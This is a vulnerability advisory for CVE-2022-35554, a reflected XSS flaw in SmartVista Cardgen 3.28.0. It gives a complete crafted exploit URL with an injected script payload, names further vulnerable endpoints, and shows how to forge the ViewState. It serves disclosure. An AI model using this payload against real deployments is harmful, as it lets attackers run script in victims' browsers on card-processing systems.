Reflected XSS in SmartVista Cardgen version 3.28.0 (CVE-2022-35554)

CVE-2022-35554

Date: 07/07/2022

Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services

Vendor Homepage: https://www.bpcbt.com/smartvista-solutions/

Affected Version(s): SmartVista Cardgen version 3.28.0 (and prior)

Description: Multiple reflected XSS vulnerabilties occur when handling error message of BPC SmartVista Cardgen version 3.28.0 and prior allows attacker to execute javascript code at client side.

Steps to reproduce:

An attacker sends a draft URL https://[URL]/svcl/pages/monitoring/printingController.xhtml?javax.faces.partial.ajax=true&javax.faces.source=mainform%3AactiveProcesses&javax.faces.partial.execute=mainform%3AactiveProcesses&javax.faces.partial.render=mainform%3AactiveProcesses&mainform%3AactiveProcesses=mainform%3AactiveProcesses&mainform%3AactiveProcesses_pagination=true&mainform%3AactiveProcesses_first=6"]]><x:script+xmlns%3ax%3d"http%3a//www.w3.org/1999/xhtml">alert(document.domain)</x%3ascript>&mainform%3AactiveProcesses_rows=6&mainform%3AactiveProcesses_skipChildren=true&mainform%3AactiveProcesses_encodeFeature=true&mainform=mainform&mainform%3AactiveProcesses_selection=&mainform%3AactiveProcesses_scrollState=0%2C0&mainform%3Abatches_selection=&mainform%3Abatches_scrollState=0%2C0&mainform%3AprintEntries_selection=&mainform%3AprintEntries_scrollState=0%2C0&javax.faces.ViewState=0000000000000000000%3A0000000000000000000 to victim. When victim opens the URL, XSS will be triggered. In this URL, the javax.faces.ViewState parameter can be modified to have random value but having same length as value generated by application

These URLs below have same vulnerability, BUT you CANNOT modify the ViewState parameter like the URL above

- URL /svcl/pages/monitoring/monitoring.xhtml: parameter mainform:processTabPanel_activeIndex
- URL /svcl/pages/services/formatter/mainconfiguration.xhtml: parameter mainform:mainTable_selection.

popup

Previous
SmartVista Cardgen

Next
Path traversal in SmartVista Cardgen version 3.28.0 (CVE-2022-38613)

Last modified 3mo ago